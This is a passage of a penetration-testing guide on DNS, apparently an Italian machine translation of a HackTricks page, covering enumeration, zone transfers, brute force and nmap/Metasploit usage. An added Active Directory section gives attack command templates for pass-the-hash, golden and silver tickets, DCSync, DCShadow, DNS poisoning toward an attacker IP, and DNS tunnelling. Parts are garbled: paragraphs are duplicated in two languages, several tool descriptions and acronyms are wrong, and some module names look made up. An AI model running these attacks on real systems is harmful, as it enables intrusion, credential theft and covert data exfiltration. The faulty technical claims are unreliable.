hacktricks/network-services-pentesting/pentesting-dns.md
2024-02-10 13:03:23 +00:00

35 KiB

53 - Pentesting DNS

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, ottenere shell e divertirsi.

{% embed url="https://pentest-tools.com/" %}

Informazioni di base

Il Domain Name System (DNS) funge da directory di Internet, consentendo agli utenti di accedere ai siti web tramite nomi di dominio facili da ricordare come google.com o facebook.com, invece degli indirizzi numerici del Protocollo Internet (IP). Traducendo i nomi di dominio in indirizzi IP, il DNS garantisce che i browser web possano caricare rapidamente le risorse di Internet, semplificando la navigazione nel mondo online.

Porta predefinita: 53

PORT     STATE SERVICE  REASON
53/tcp   open  domain  Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
5353/udp open  zeroconf udp-response
53/udp   open  domain  Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)

Diversi server DNS

  • Server DNS radice: Questi si trovano in cima alla gerarchia DNS, gestendo i domini di primo livello e intervenendo solo se i server di livello inferiore non rispondono. L'Internet Corporation for Assigned Names and Numbers (ICANN) sovraintende alla loro operatività, con un conteggio globale di 13.

  • Server di nomi autoritativi: Questi server hanno l'ultima parola per le query nelle loro zone designate, offrendo risposte definitive. Se non possono fornire una risposta, la query viene inoltrata ai server radice.

  • Server di nomi non autoritativi: Privi di proprietà sulle zone DNS, questi server raccolgono informazioni di dominio tramite query ad altri server.

  • Server DNS in cache: Questo tipo di server memorizza le risposte alle query precedenti per un determinato periodo di tempo al fine di velocizzare i tempi di risposta per le richieste future, con la durata della cache dettata dal server autoritativo.

  • Server di inoltro: Svolgendo un ruolo semplice, i server di inoltro semplicemente inoltrano le query a un altro server.

  • Resolver: Integrati nei computer o nei router, i resolver eseguono la risoluzione dei nomi localmente e non sono considerati autoritativi.

Enumerazione

Banner Grabbing

Non ci sono banner nel DNS, ma è possibile ottenere il messaggio di versione utilizzando la query version.bind. CHAOS TXT, che funzionerà sulla maggior parte dei server BIND.
È possibile eseguire questa query utilizzando dig:

dig version.bind CHAOS TXT @DNS

Inoltre, lo strumento fpdns può anche identificare il server.

È anche possibile ottenere il banner anche con uno script di nmap:

--script dns-nsid

Qualsiasi record

Il record ANY chiederà al server DNS di restituire tutte le voci disponibili che è disposto a divulgare.

dig any victim.com @<DNS_IP>

Trasferimento di zona

Questa procedura è abbreviata come Asynchronous Full Transfer Zone (AXFR).

dig axfr @<DNS_IP> #Try zone transfer without domain
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
fierce --domain <DOMAIN> --dns-servers <DNS_IP> #Will try toperform a zone transfer against every authoritative name server and if this doesn'twork, will launch a dictionary attack

Ulteriori informazioni

dig ANY @<DNS_IP> <DOMAIN>     #Any information
dig A @<DNS_IP> <DOMAIN>       #Regular DNS request
dig AAAA @<DNS_IP> <DOMAIN>    #IPv6 DNS request
dig TXT @<DNS_IP> <DOMAIN>     #Information
dig MX @<DNS_IP> <DOMAIN>      #Emails related
dig NS @<DNS_IP> <DOMAIN>      #DNS that resolves that name
dig -x 192.168.0.2 @<DNS_IP>   #Reverse lookup
dig -x 2a00:1450:400c:c06::93 @<DNS_IP> #reverse IPv6 lookup

#Use [-p PORT]  or  -6 (to use ivp6 address of dns)

Automazione

for sub in $(cat <WORDLIST>);do dig $sub.<DOMAIN> @<DNS_IP> | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done

dnsenum --dnsserver <DNS_IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>

Utilizzo di nslookup

The nslookup command is a powerful tool for querying DNS (Domain Name System) servers to obtain information about domain names and IP addresses. It is commonly used in network troubleshooting and penetration testing.

Il comando nslookup è uno strumento potente per interrogare i server DNS (Domain Name System) al fine di ottenere informazioni sui nomi di dominio e gli indirizzi IP. Viene comunemente utilizzato per risolvere problemi di rete e per il penetration testing.

To use nslookup, open a command prompt and type nslookup followed by the domain name or IP address you want to query. By default, nslookup will display the IP address of the queried domain name and the name of the DNS server that provided the response.

Per utilizzare nslookup, apri un prompt dei comandi e digita nslookup seguito dal nome di dominio o dall'indirizzo IP che desideri interrogare. Per impostazione predefinita, nslookup visualizzerà l'indirizzo IP del nome di dominio interrogato e il nome del server DNS che ha fornito la risposta.

You can also specify a specific DNS server to query by typing nslookup followed by the domain name or IP address, followed by the IP address of the DNS server you want to use. For example, nslookup example.com 8.8.8.8 will query the DNS server at IP address 8.8.8.8 for information about the domain name example.com.

È anche possibile specificare un server DNS specifico da interrogare digitando nslookup seguito dal nome di dominio o dall'indirizzo IP, seguito dall'indirizzo IP del server DNS che si desidera utilizzare. Ad esempio, nslookup example.com 8.8.8.8 interrogherà il server DNS all'indirizzo IP 8.8.8.8 per ottenere informazioni sul nome di dominio example.com.

In addition to querying DNS servers, nslookup can also perform reverse lookups by specifying an IP address instead of a domain name. For example, nslookup 8.8.8.8 will display the domain name associated with the IP address 8.8.8.8.

Oltre all'interrogazione dei server DNS, nslookup può anche eseguire ricerche inverse specificando un indirizzo IP anziché un nome di dominio. Ad esempio, nslookup 8.8.8.8 visualizzerà il nome di dominio associato all'indirizzo IP 8.8.8.8.

nslookup also supports various options and commands that can be used to customize its behavior. To view a list of available options and commands, type nslookup followed by help.

nslookup supporta anche diverse opzioni e comandi che possono essere utilizzati per personalizzare il suo comportamento. Per visualizzare un elenco delle opzioni e dei comandi disponibili, digita nslookup seguito da help.

nslookup
> SERVER <IP_DNS> #Select dns server
> 127.0.0.1 #Reverse lookup of 127.0.0.1, maybe...
> <IP_MACHINE> #Reverse lookup of a machine, maybe...

Moduli utili di Metasploit

Metasploit è un framework di test di penetrazione ampiamente utilizzato che offre una vasta gamma di moduli per eseguire varie attività di hacking. Di seguito sono elencati alcuni dei moduli più utili di Metasploit:

  • exploit/multi/handler: Questo modulo consente di creare un gestore per gli exploit multipli. È utile per intercettare le connessioni in arrivo dai payload generati da altri moduli di exploit.

  • exploit/multi/script/web_delivery: Questo modulo consente di generare un payload personalizzato per l'iniezione in un sito web. Può essere utilizzato per eseguire codice arbitrario sul server di destinazione.

  • auxiliary/scanner/portscan/tcp: Questo modulo consente di eseguire una scansione delle porte TCP su un host di destinazione. È utile per identificare le porte aperte e potenziali vulnerabilità.

  • auxiliary/scanner/http/dir_scanner: Questo modulo consente di eseguire una scansione dei directory su un server web. Può essere utilizzato per individuare file e directory nascosti o vulnerabili.

  • post/multi/gather/enum_dns: Questo modulo consente di raccogliere informazioni sul server DNS di destinazione. Può essere utilizzato per identificare record DNS, zone e altre informazioni utili.

  • post/multi/gather/dns_enum: Questo modulo consente di eseguire una scansione dei record DNS su un server di destinazione. È utile per identificare sottodomini e altre informazioni relative al DNS.

  • post/multi/gather/dns_bruteforce: Questo modulo consente di eseguire un attacco di forza bruta sui record DNS di un server di destinazione. Può essere utilizzato per individuare nomi di host nascosti o vulnerabili.

  • post/multi/gather/dns_recon: Questo modulo consente di eseguire una ricognizione completa del server DNS di destinazione. Può essere utilizzato per identificare informazioni dettagliate sul DNS, come i server autoritativi e le zone.

Questi sono solo alcuni dei moduli disponibili in Metasploit. Il framework offre molte altre funzionalità e moduli che possono essere utilizzati per eseguire test di penetrazione su vari servizi di rete.

auxiliary/gather/enum_dns #Perform enumeration actions

Script nmap utili

Here are some useful nmap scripts that can be used during network services pentesting:

  • dns-brute: Questo script esegue un attacco di forza bruta sui nomi di dominio utilizzando un elenco di parole chiave specificato dall'utente.
  • dns-cache-snoop: Questo script sfrutta le vulnerabilità di cache dei server DNS per ottenere informazioni sulle query DNS effettuate di recente.
  • dns-zone-transfer: Questo script tenta di eseguire una trasferimento di zona DNS per ottenere informazioni sulle risorse di un dominio.
  • dns-update: Questo script esegue un attacco di aggiornamento DNS per cercare di modificare le informazioni di un record DNS.
  • dns-recursion: Questo script verifica se un server DNS supporta la ricorsione, consentendo di effettuare query DNS a cascata.
  • dns-service-discovery: Questo script identifica i server DNS attivi su una rete e ne rileva le informazioni di configurazione.
  • dns-random-txid: Questo script invia query DNS con ID di transazione casuali per evitare la rilevazione da parte dei sistemi di sicurezza.
  • dns-nsid: Questo script invia query DNS con ID di sessione casuali per ottenere informazioni sul server DNS.
  • dns-blacklist: Questo script verifica se un server DNS è presente in una blacklist pubblica.
  • dns-random-srcport: Questo script invia query DNS con porte di origine casuali per evitare la rilevazione da parte dei sistemi di sicurezza.

Questi script possono essere utili per identificare vulnerabilità e debolezze nei server DNS durante un test di penetrazione dei servizi di rete.

#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>

DNS - Reverse BF

Il DNS (Domain Name System) è un sistema utilizzato per tradurre gli indirizzi IP in nomi di dominio e viceversa. Durante un test di penetrazione, è possibile utilizzare una tecnica chiamata Reverse BF (Brute Force) per scoprire i nomi di dominio associati a un determinato indirizzo IP.

La tecnica Reverse BF coinvolge l'utilizzo di un elenco di nomi di dominio comuni e l'invio di richieste DNS per verificare se uno di questi nomi di dominio è associato all'indirizzo IP in esame. Questo può essere utile per identificare potenziali risorse o servizi nascosti all'interno di un sistema.

Per eseguire un attacco di Reverse BF, è possibile utilizzare strumenti come dnsrecon o dnsenum. Questi strumenti consentono di automatizzare il processo di invio di richieste DNS per una lista di nomi di dominio e di visualizzare i risultati.

È importante notare che l'utilizzo di questa tecnica potrebbe essere considerato un comportamento sospetto e potrebbe attirare l'attenzione degli amministratori di sistema o dei sistemi di sicurezza. Pertanto, è consigliabile utilizzare questa tecnica con cautela e solo durante un test di penetrazione autorizzato.

dnsrecon -r 127.0.0.0/24 -n <IP_DNS>  #DNS reverse of all of the addresses
dnsrecon -r 127.0.1.0/24 -n <IP_DNS>  #DNS reverse of all of the addresses
dnsrecon -r <IP_DNS>/24 -n <IP_DNS>   #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer

{% hint style="info" %} Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un reverse dns BF sui NSs del dominio chiedendo quel range di IP. {% endhint %}

Un altro strumento per farlo: https://github.com/amine7536/reverse-scan

Puoi interrogare i range IP inversi su https://bgp.he.net/net/205.166.76.0/24#_dns (questo strumento è anche utile con BGP).

DNS - Subdomains BF

dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN>
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan

Server Active Directory

Gli Active Directory (AD) sono un servizio di directory sviluppato da Microsoft che fornisce servizi di autenticazione, autorizzazione e gestione delle risorse di rete in un ambiente Windows. Gli AD sono costituiti da uno o più server che contengono informazioni sugli utenti, i gruppi e le risorse di rete.

Enumerazione degli utenti

Per enumerare gli utenti di un server Active Directory, è possibile utilizzare il comando enum4linux o lo strumento ldapsearch. Entrambi gli strumenti consentono di ottenere informazioni sugli utenti, inclusi i loro nomi, i gruppi di appartenenza e altre informazioni pertinenti.

Esempio di utilizzo di enum4linux:

enum4linux -U <indirizzo_IP_server_AD>

Esempio di utilizzo di ldapsearch:

ldapsearch -x -h <indirizzo_IP_server_AD> -b "dc=<dominio>,dc=<com>"

Enumerazione dei gruppi

Per enumerare i gruppi di un server Active Directory, è possibile utilizzare il comando enum4linux o lo strumento ldapsearch. Entrambi gli strumenti consentono di ottenere informazioni sui gruppi, inclusi i loro nomi, i membri e altre informazioni pertinenti.

Esempio di utilizzo di enum4linux:

enum4linux -G <indirizzo_IP_server_AD>

Esempio di utilizzo di ldapsearch:

ldapsearch -x -h <indirizzo_IP_server_AD> -b "dc=<dominio>,dc=<com>"

Enumerazione delle risorse di rete

Per enumerare le risorse di rete di un server Active Directory, è possibile utilizzare il comando enum4linux o lo strumento ldapsearch. Entrambi gli strumenti consentono di ottenere informazioni sulle risorse di rete, inclusi i nomi dei computer, i servizi disponibili e altre informazioni pertinenti.

Esempio di utilizzo di enum4linux:

enum4linux -R <indirizzo_IP_server_AD>

Esempio di utilizzo di ldapsearch:

ldapsearch -x -h <indirizzo_IP_server_AD> -b "dc=<dominio>,dc=<com>"

Esecuzione di attacchi di password

Per eseguire attacchi di password su un server Active Directory, è possibile utilizzare strumenti come hydra o crackmapexec. Questi strumenti consentono di eseguire attacchi di forza bruta o attacchi di dizionario per cercare di ottenere le password degli utenti.

Esempio di utilizzo di hydra:

hydra -l <nome_utente> -P <file_password> <indirizzo_IP_server_AD> smb

Esempio di utilizzo di crackmapexec:

crackmapexec smb <indirizzo_IP_server_AD> -u <nome_utente> -p <password>

Esecuzione di attacchi di pass-the-hash

Per eseguire attacchi di pass-the-hash su un server Active Directory, è possibile utilizzare strumenti come mimikatz o pth-winexe. Questi strumenti consentono di sfruttare le hash delle password degli utenti per ottenere l'accesso al server senza conoscere le password effettive.

Esempio di utilizzo di mimikatz:

mimikatz "sekurlsa::pth /user:<nome_utente> /domain:<dominio> /ntlm:<hash_password> /run:<comando>"

Esempio di utilizzo di pth-winexe:

pth-winexe -U <nome_utente>%<hash_password> //<indirizzo_IP_server_AD> <comando>

Esecuzione di attacchi di Kerberoasting

Per eseguire attacchi di Kerberoasting su un server Active Directory, è possibile utilizzare lo strumento GetUserSPNs di impacket. Questo strumento consente di ottenere i Service Principal Names (SPN) degli utenti e generare richieste di ticket Kerberos per ottenere i relativi hash delle password.

Esempio di utilizzo di GetUserSPNs:

GetUserSPNs.py <dominio>/<nome_utente>:<password>@<indirizzo_IP_server_AD>

Esecuzione di attacchi di Golden Ticket

Per eseguire attacchi di Golden Ticket su un server Active Directory, è possibile utilizzare lo strumento mimikatz. Questo strumento consente di generare un ticket Kerberos dorato (Golden Ticket) utilizzando la chiave di crittografia del dominio e ottenere l'accesso completo al dominio.

Esempio di utilizzo di mimikatz:

mimikatz "kerberos::golden /user:<nome_utente> /domain:<dominio> /sid:<SID_dominio> /krbtgt:<hash_krbtgt> /id:<RID_utente> /groups:<SID_gruppi> /ptt"

Esecuzione di attacchi di Silver Ticket

Per eseguire attacchi di Silver Ticket su un server Active Directory, è possibile utilizzare lo strumento mimikatz. Questo strumento consente di generare un ticket Kerberos argentato (Silver Ticket) utilizzando la chiave di crittografia di un servizio e ottenere l'accesso a quel servizio senza conoscere le credenziali effettive.

Esempio di utilizzo di mimikatz:

mimikatz "kerberos::golden /user:<nome_utente> /domain:<dominio> /sid:<SID_dominio> /target:<SPN_servizio> /id:<RID_utente> /groups:<SID_gruppi> /ptt"

Esecuzione di attacchi di DCSync

Per eseguire attacchi di DCSync su un server Active Directory, è possibile utilizzare lo strumento mimikatz. Questo strumento consente di ottenere le informazioni sulle password degli account di dominio senza privilegi di amministratore.

Esempio di utilizzo di mimikatz:

mimikatz "lsadump::dcsync /user:<nome_utente>"

Esecuzione di attacchi di DCShadow

Per eseguire attacchi di DCShadow su un server Active Directory, è possibile utilizzare lo strumento mimikatz. Questo strumento consente di creare un oggetto fittizio nel database di Active Directory e ottenere il controllo completo su di esso.

Esempio di utilizzo di mimikatz:

mimikatz "lsadump::dcshadow /object:<DN_oggetto> /attribute:<attributo> /value:<valore> /server:<indirizzo_IP_server_AD>"

Esecuzione di attacchi di DNS poisoning

Per eseguire attacchi di DNS poisoning su un server Active Directory, è possibile utilizzare strumenti come dnsmasq o mitm6. Questi strumenti consentono di iniettare record DNS falsi nel server DNS per indirizzare il traffico verso indirizzi IP controllati dall'attaccante.

Esempio di utilizzo di dnsmasq:

dnsmasq --no-daemon --no-resolv --no-hosts --address=/example.com/<indirizzo_IP_attaccante>

Esempio di utilizzo di mitm6:

mitm6 -d <dominio> -i <interfaccia_di_rete>

Esecuzione di attacchi di DNS tunneling

Per eseguire attacchi di DNS tunneling su un server Active Directory, è possibile utilizzare strumenti come iodine o dnscat2. Questi strumenti consentono di creare un tunnel di comunicazione attraverso il traffico DNS per bypassare le restrizioni di rete e trasferire dati in modo nascosto.

Esempio di utilizzo di iodine:

iodine -f -P <password> <sottodominio>.<dominio> <indirizzo_IP_server_DNS>

Esempio di utilizzo di dnscat2:

dnscat2 -dns <sottodominio>.<dominio>

Esecuzione di attacchi di zone transfer

Per eseguire attacchi di zone transfer su un server Active Directory, è possibile utilizzare strumenti come dig o nslookup. Questi strumenti consentono di ottenere una copia completa della zona DNS del server, inclusi i record degli utenti, i record dei gruppi e altre informazioni pertinenti.

Esempio di utilizzo di dig:

dig axfr @<indirizzo_IP_server_DNS> <dominio>

Esempio di utilizzo di nslookup:

nslookup
> server <indirizzo_IP_server_DNS>
> ls -d <dominio>

Esecuzione di attacchi di subdomain takeover

Per eseguire attacchi di subdomain takeover su un server Active Directory, è possibile utilizzare strumenti come subjack o subover. Questi strumenti consentono di individuare sottodomini non utilizzati o scaduti e prendere il controllo su di essi per eseguire attacchi di phishing o di spoofing.

Esempio di utilizzo di subjack:

subjack -w <file_sottodomini> -t <numero_thread> -timeout <timeout> -ssl

Esempio di utilizzo di subover:

subover -l <file_sottodomini> -t <numero_thread>
dig -t _gc._tcp.lab.domain.com
dig -t _ldap._tcp.lab.domain.com
dig -t _kerberos._tcp.lab.domain.com
dig -t _kpasswd._tcp.lab.domain.com

nslookup -type=srv _kerberos._tcp.<CLIENT_DOMAIN>
nslookup -type=srv _kerberos._tcp.domain.com

nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'"

DNSSec

DNSSec (Domain Name System Security Extensions) è un insieme di estensioni di sicurezza per il protocollo DNS. L'obiettivo principale di DNSSec è garantire l'integrità e l'autenticità dei dati DNS, prevenendo così attacchi come il DNS spoofing e il DNS cache poisoning.

DNSSec utilizza una struttura a chiave pubblica per firmare digitalmente le risposte DNS, consentendo ai client di verificare l'autenticità dei dati ricevuti. Inoltre, DNSSec introduce anche la firma delle zone, che consente ai server DNS di firmare digitalmente l'intera zona DNS, garantendo l'integrità dei dati.

Per verificare l'autenticità dei dati DNS, i client devono disporre delle chiavi pubbliche dei server DNS autoritativi. Queste chiavi pubbliche possono essere ottenute tramite il processo di delega delle zone DNS.

DNSSec non fornisce confidenzialità dei dati, quindi i dati DNS firmati possono ancora essere letti da un attaccante. Tuttavia, DNSSec fornisce un meccanismo per rilevare eventuali modifiche non autorizzate ai dati DNS, consentendo agli utenti di prendere provvedimenti appropriati.

Per sfruttare DNSSec durante un test di penetrazione, è possibile utilizzare strumenti come dnssec-verify per verificare l'autenticità dei dati DNS e identificare eventuali vulnerabilità nel sistema DNS.

#Query paypal subdomains to ns3.isc-sns.info
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info

IPv6

Forzatura tramite richieste "AAAA" per raccogliere gli indirizzi IPv6 dei sottodomini.

dnsdict6 -s -t <domain>

Bruteforce reverse DNS in using IPv6 addresses

Introduction

In some cases, during a penetration test, it may be necessary to bruteforce reverse DNS records for IPv6 addresses. This can be useful for gathering information about the target network and identifying potential vulnerabilities.

Methodology

To bruteforce reverse DNS records for IPv6 addresses, follow these steps:

  1. Enumerate IPv6 addresses: Use tools like nmap or masscan to scan the target network and identify active IPv6 addresses.

  2. Generate possible reverse DNS names: Create a list of possible reverse DNS names based on the target's domain name or any other relevant information. For example, if the target's domain name is example.com, possible reverse DNS names could be com.example., com.example.www., etc.

  3. Perform reverse DNS lookup: Use a tool like dig to perform reverse DNS lookup for each IPv6 address and check if any of the generated reverse DNS names match the actual reverse DNS record.

  4. Automate the process: To speed up the bruteforce process, you can write a script or use existing tools to automate the reverse DNS lookup for all the IPv6 addresses and compare the results with the generated reverse DNS names.

Conclusion

Bruteforcing reverse DNS records for IPv6 addresses can provide valuable information during a penetration test. By automating the process and generating possible reverse DNS names, you can efficiently identify potential vulnerabilities in the target network.

dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net

DNS Recursion DDoS

Se la ricorsione DNS è abilitata, un attaccante potrebbe falsificare l'origine del pacchetto UDP al fine di far inviare la risposta DNS al server vittima. Un attaccante potrebbe sfruttare qualsiasi tipo di record o DNSSEC, in quanto tendono a generare risposte più grandi.
Il modo per verificare se un DNS supporta la ricorsione è interrogare un nome di dominio e verificare se il flag "ra" (ricorsione disponibile) è presente nella risposta:

dig google.com A @<IP>

Non disponibile:

Disponibile:

Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a scavare più a fondo, ottenere accesso ai sistemi e divertirsi.

{% embed url="https://pentest-tools.com/" %}

Invio di una mail a un account inesistente

Attraverso l'esame di una notifica di mancata consegna (NDN) scatenata da una mail inviata a un indirizzo non valido all'interno di un dominio target, spesso vengono rivelati preziosi dettagli sulla rete interna.

La notifica di mancata consegna fornita include informazioni come:

  • Il server generatore è stato identificato come server.example.com.
  • È stata restituita una notifica di errore per user@example.com con il codice di errore #550 5.1.1 RESOLVER.ADR.RecipNotFound; non trovato.
  • Gli indirizzi IP interni e i nomi host sono stati rivelati negli header del messaggio originale.
The original message headers were modified for anonymity and now present randomized data:

Generating server: server.example.com

user@example.com
#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found ##

Original message headers:

Received: from MAILSERVER01.domain.example.com (192.168.1.1) by
mailserver02.domain.example.com (192.168.2.2) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Mon, 25 May 2015 14:52:22 -0700
Received: from filter.example.com (203.0.113.1) by
MAILSERVER01.domain.example.com (192.168.1.1) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Mon, 25 May 2015 14:51:22 -0700
X-ASG-Debug-ID: 1432576343-0614671716190e0d0001-zOQ9WJ
Received: from gateway.domainhost.com (gateway.domainhost.com [198.51.100.37]) by
filter.example.com with ESMTP id xVNPkwaqGgdyH5Ag for user@example.com; Mon,
25 May 2015 14:52:13 -0700 (PDT)
X-Envelope-From: sender@anotherdomain.org
X-Apparent-Source-IP: 198.51.100.37

File di configurazione

Config files are files that contain settings and parameters for various applications and services. These files are often used to customize the behavior of the application or service according to the user's preferences.

I file di configurazione sono file che contengono impostazioni e parametri per varie applicazioni e servizi. Questi file vengono spesso utilizzati per personalizzare il comportamento dell'applicazione o del servizio in base alle preferenze dell'utente.

Config files can be found in different locations depending on the operating system and the application or service being used. Some common locations for config files include:

I file di configurazione possono essere trovati in posizioni diverse a seconda del sistema operativo e dell'applicazione o del servizio utilizzato. Alcune posizioni comuni per i file di configurazione includono:

  • /etc: This directory is commonly used for system-wide configuration files in Unix-like operating systems.
  • /etc: Questa directory è comunemente utilizzata per i file di configurazione a livello di sistema nei sistemi operativi di tipo Unix.
  • /usr/local/etc: This directory is often used for configuration files specific to a particular application or service.
  • /usr/local/etc: Questa directory viene spesso utilizzata per i file di configurazione specifici di un'applicazione o di un servizio particolare.
  • ~/.config: This directory is used for user-specific configuration files in Unix-like operating systems.
  • ~/.config: Questa directory viene utilizzata per i file di configurazione specifici dell'utente nei sistemi operativi di tipo Unix.
  • C:\Program Files: This directory is commonly used for system-wide configuration files in Windows operating systems.
  • C:\Program Files: Questa directory è comunemente utilizzata per i file di configurazione a livello di sistema nei sistemi operativi Windows.

It is important to note that config files may contain sensitive information such as passwords, API keys, and database credentials. Therefore, it is crucial to ensure that these files are properly secured and access to them is restricted to authorized users only.

È importante notare che i file di configurazione possono contenere informazioni sensibili come password, chiavi API e credenziali del database. Pertanto, è fondamentale assicurarsi che questi file siano adeguatamente protetti e che l'accesso ad essi sia limitato solo agli utenti autorizzati.

host.conf
/etc/resolv.conf
/etc/bind/named.conf
/etc/bind/named.conf.local
/etc/bind/named.conf.options
/etc/bind/named.conf.log
/etc/bind/*

Impostazioni pericolose durante la configurazione di un server Bind:

Opzione Descrizione
allow-query Definisce quali host sono autorizzati a inviare richieste al server DNS.
allow-recursion Definisce quali host sono autorizzati a inviare richieste ricorsive al server DNS.
allow-transfer Definisce quali host sono autorizzati a ricevere trasferimenti di zona dal server DNS.
zone-statistics Raccoglie dati statistici delle zone.

Riferimenti

Comandi automatici di HackTricks

Protocol_Name: DNS    #Protocol Abbreviation if there is one.
Port_Number:  53     #Comma separated if there is more than one.
Protocol_Description: Domain Name Service        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for DNS
Note: |
#These are the commands I run every time I see an open DNS port

dnsrecon -r 127.0.0.0/24 -n {IP} -d {Domain_Name}
dnsrecon -r 127.0.1.0/24 -n {IP} -d {Domain_Name}
dnsrecon -r {Network}{CIDR} -n {IP} -d {Domain_Name}
dig axfr @{IP}
dig axfr {Domain_Name} @{IP}
nslookup
SERVER {IP}
127.0.0.1
{IP}
Domain_Name
exit

https://book.hacktricks.xyz/pentesting/pentesting-dns

Entry_2:
Name: Banner Grab
Description: Grab DNS Banner
Command: dig version.bind CHAOS TXT @DNS

Entry_3:
Name: Nmap Vuln Scan
Description: Scan for Vulnerabilities with Nmap
Command: nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" {IP}

Entry_4:
Name: Zone Transfer
Description: Three attempts at forcing a zone transfer
Command: dig axfr @{IP} && dix axfr @{IP} {Domain_Name} && fierce --dns-servers {IP} --domain {Domain_Name}


Entry_5:
Name: Active Directory
Description: Eunuerate a DC via DNS
Command: dig -t _gc._{Domain_Name} && dig -t _ldap._{Domain_Name} && dig -t _kerberos._{Domain_Name} && dig -t _kpasswd._{Domain_Name} && nmap --script dns-srv-enum --script-args "dns-srv-enum.domain={Domain_Name}"

Entry_6:
Name: consolesless mfs enumeration
Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'

Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester, sviluppiamo invece strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicarsi a scavare più a fondo, ottenere accesso shell e divertirsi.

{% embed url="https://pentest-tools.com/" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: